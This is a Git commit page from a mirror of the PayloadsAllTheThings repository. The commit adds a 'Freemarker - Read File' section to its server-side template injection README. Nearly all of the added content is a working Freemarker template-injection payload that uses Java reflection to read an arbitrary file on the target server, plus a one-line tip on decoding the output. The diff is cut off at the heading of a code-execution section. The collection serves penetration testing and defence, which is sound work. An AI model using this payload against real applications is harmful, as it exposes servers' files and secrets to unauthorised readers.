ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Merge pull request #450 from ahronmoshe/patch-3

Browse Source 
Update README.md
This commit is contained in:
Swissky 2021-10-26 21:51:41 +02:00 committed by GitHub
commit add722d1c2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
Server Side Template Injection/README.md
View File

@ -155,6 +155,13 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
The template can be `${3*3}` or the legacy `#{3*3}`. The template can be `${3*3}` or the legacy `#{3*3}`.
### Freemarker - Read File
```js
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
```
### Freemarker - Code execution ### Freemarker - Code execution
```js ```js